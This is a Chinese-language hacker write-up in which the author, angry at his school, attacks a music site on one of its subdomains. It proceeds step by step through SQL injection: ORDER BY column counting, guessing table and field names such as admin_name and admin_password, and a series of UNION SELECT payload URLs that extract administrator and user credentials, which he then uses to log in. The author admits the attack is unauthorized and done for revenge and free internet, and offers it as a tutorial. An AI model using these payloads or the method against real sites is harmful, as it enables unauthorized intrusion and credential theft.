花非花[1.s.t]
一."38"在线
先来听我"38"一下,我们学校迎接评估了,评估一星期,TMD!看看平时总拿拿学院,学校通报批评等手段压迫我们那副高高在上的样子的学校的领导, 一个个像哈巴狗一样跟在那些所谓的专家后面点头哈腰的。当然,专家来之前,这些哈巴狗是不会忘了欺负我们一通的,明令要求我们早上6点起床,叠军被,中午 不准睡觉.....
5天的时间,大家就被整的一个个熊猫眼--传说中的国产级保护动物。每次被学校搞的不爽的时候,我总不忘要搞一下学校的网站,当然,这次是不会例外的 (另外,偶没钱交网费了,不得不想法子搞个免费上网)。大家都称呼自己的学校为母校,不过我太讨厌这鸟学校了,所以就以某学校称之,切勿效尤。
二.初寻漏洞
学校有很多二级玉米啊,以前好象被搞过,很多都过滤的很严,TMD,我们那鸟学院的网站,我搞了一下,管理员那混蛋密码太强壮,我得了MD5密码也破 不了,555。我先连了内网,在学校上寻觅了N久,找到了一个music.sbxuexiao.net的二级玉米(虚构玉米,如有雷同,纯属见鬼),以前 没有搞音乐程序的经验,今天也算练习一下了:
我先用明哥的domain打开music.sbxuexiao.net,domain并没有检测到注入点。工具不行,还有脑袋!我自己注册了一个帐号,登陆上去,有个修改资料的地方,可惜那上传已经被管理员删了。再继续找,终于让我找到了一个能注入的点了。http://music.sbxuexiao.net/user_Show.asp?User_id=19348,这个链接是查看用户资料的。既然能注入,那当然先让工具来了,用domain猜,猜出来的结果是数据库采用access的。但是,表名他猜不出来。如图1所示:
1.jpg
工具猜不出表名,那就麻烦了,我还得一个个猜表名,郁闷。
三.社工+盲注
我没有先猜表名,而是先用order by 语句猜字段:
提交:http://music.sbxuexiao.net/user_Show.asp?User_id=19348 order by 10 ,返回正常页面。那么继续order by 直到order by 26正常,27失败的时候,知道参与SQL查询的字段有26个。
那么现在就得猜表了,一时想不到会是什么表,因为工具包含了大量常见表名,如果工具没猜出来,那肯定得另找表名了。我在站上又看了一点信息,发现管理员的用户名是admin,admin耶,如图2所示:
2.jpg
于是,我猜想,是否会是admin表名呢?思考了,就改实践了,提交:http://music.sbxuexiao.net/user_ ... 2%20union%20select% 201,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26%20from%20admin
返回正常耶!如图3
3.jpg
运气还不错嘛,猜完了表,那就该猜保存管理员的字段名了,想了几个常见的表名,就开始提交:http://music.sbxuexiao.net/user_ ... 2%20union%20select% 201,2,username,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26%20from%20admin
暴错了,再继续猜,均暴错了。郁闷,一时就没再继续猜下去了,因为我太不喜欢做体力活。继续思考,一套好的程序多少应该有点规律,程序员不会写那种连自己也看不懂的程序代码吧?在思考的时候,我突然想起查看资料的那个链接:http://music.sbxuexiao.net/user_Show.asp?User_id=19348,后面的参数user_id,对就是这个了。我的想法是:用户的字段名的前缀可能会是“user_”,这样的话,对于管理员来说,他的字段名对应的前缀可能会是“admin_”,思路出来了,再实践,提交:
http://music.sbxuexiao.net/user_ ... 2%20union%20select% 201,2,admin_id,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26%20from%20admin
尝试用admin_id替换3的位置,成功了!页面返回正常,原来“3”的位置变成了“1”!如图4所示:
4.JPG
看来思路是对的,这样子的话,管理员的用户名字段可能会是admin_user,admin_name等几个,密码字段可能会是admin_pass,admin_password。继续提交:
http://music.sbxuexiao.net/user_ ... 2%20union%20select% 201,2,admin_user,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26%20from% 20admin
出错,再用admin_name替换,返回正常了,如图5所示:
5.JPG
继续猜密码字段,提交:http://music.sbxuexiao.net/user_ ... 2%20union%20select% 201,2,admin_password,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26%20from% 20admin
返回正常。如图6所示:
用户名和密码都猜出来了,到后台去登陆吧。说到这里,就郁闷了,我用工具找啊,没找到,我用脑袋猜啊,猜了一百多个,也没猜出来。没办法,就拿这帐号到前台登陆,看看前台能不能找到可利用的。
哇,没有这个帐号或者您的密码不对!这个帐号不行,我继续把其他的管理员也猜出来,第一个帐号的id=1,那么提交:http://music.sbxuexiao.net/user_ ... 2%20union%20select% 201,2,admin_name,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26%20from% 20admin%20where%20admin_id=2
返回如图:
7.jpg
找不到资料?难道只有一个管理员?但是图2上显示的应该有两个管理才对!继续提交:http://music.sbxuexiao.net/user_ ... 2%20union%20select% 201,2,admin_name,4,5,6,7,8,9,10,11,12,13,14,admin_password,16,17,18,19,20,21,22,23,24,25,26%20from% 20admin%20where%20admin_id>2
返回图8:
8.JPG
再继续猜解,在admin_id>7的时候又出了个帐号出来,如图9:
9.JPG
然后再利用这两个管理员到前台去登陆,不过均告失败。为什么会失败?这套系统的前后台管理员是分离的吗?如果是分离的,那么表名应该是什么呢?还记得,前面的user_id吧?我猜表名是user.提交:
http://music.sbxuexiao.net/user_ ... 2%20union%20select% 201,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26%20from%20user
返回正常,和图二差不多,只是url不同而已。
那么,这user表的字段是什么呢?现在可以很容易就知道是user_id、user_name、user_password了。
再继续提交:http://music.sbxuexiao.net/user_ ... 2%20union%20select% 201,2,user_name,4,5,6,7,8,9,10,11,12,13,14,user_password,16,17,18,19,20,21,22,23,24,25,26% 20from%20user%20where%20User_id=15
返回图10:
10.JPG
为什么提交的url后面是user_id=15?很简单,因为在图2中的那个admin就是一个链接,打开他,就能看到他的user_id了。如图11
11.JPG
得到前台管理员密码了,登陆前台,这次没出错了,如图11所示:
12.JPG
不过很可惜,仍然找不到能有什么利用的地方!虽然如此,但是这个检测过程,自己在社会工程学方面多少也积累了一些经验,不知道此文是否对朋友有所帮助?在遇到困难的时候,多思考吧。经验自然会慢慢积累! |